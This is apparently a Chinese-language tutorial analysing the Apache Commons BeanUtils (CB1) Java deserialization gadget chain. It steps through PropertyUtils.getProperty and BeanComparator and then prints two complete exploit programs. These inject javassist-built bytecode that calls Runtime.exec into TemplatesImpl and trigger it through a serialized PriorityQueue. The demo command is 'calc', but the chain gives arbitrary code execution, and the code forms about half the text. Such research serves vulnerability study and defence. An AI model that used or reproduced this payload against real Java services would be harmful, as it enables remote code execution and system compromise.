# Apache Commons BeanUtils 简介

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 javabean

举个与反序列化攻击有关的操控 javabean 的例子。

public class Person {
    private String name = "catalina";
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

然后我们执行

Person person = new Person();
        System.out.println(PropertyUtils.getProperty(person, "name"));

image-20220411122440791

这个形式就很自然得想到能任意函数调用,跟进分析

# CB1.8 分析

# PropertyUtils.getProperty 分析

image-20220411123010105

image-20220411125817016

image-20220411130033589

image-20220411130054012

跟进 getSimpleProperty

image-20220411130242963

跟进 getPropertyDescriptor

image-20220411130500062

image-20220411130530022

可以看到,我们传入的是 name ,这里返回 Bean 属性值是 Name ,并且 set 方法与 get 方法都是 setName , getName ,这是 JavaBean 的命名格式,会将传进来的小写首字母大写

image-20220411130926776

出来之后就读取方法并且反射调用

image-20220411131144694

然后就调用了

# TemplatesImpl.getOutputProperties 利用

在 rome 反序列化中知道可以利用 TemplatesImpl.getOutputProperties 去调用 TemplatesImpl.newTransformer

那么这里就可以利用这个方法来恶意代码执行

demo

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class exp {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
    }
}

注意因为之前说的 J JavaBean 特性, OutputProperties 首字母要小写

image-20220411131805594

然后寻找调用了 PropertyUtils.getProperty 的地方

# BeanComparator.compare

image-20220411132046165

这里进行了调用,并且 o1 是可控的

image-20220411132621240

这里传入 outputProperties 即可

回想之前的 cc2 利用优先队列的 readObject 可以调用 compare ,那么链子就成了

# poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class exp {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        BeanComparator outputProperties = new BeanComparator("outputProperties");
        TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        setValue(priorityQueue, "comparator", outputProperties);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
}

说明一下, TransformingComparator 是 cc 才有的,这里使用是因为 add 方法会提前触发反序列化,我们需要先让传入的为其他值,反序列化的时候再修改回去,所以这里传入的其他值 cb 中有没有都无所谓

image-20220411133440428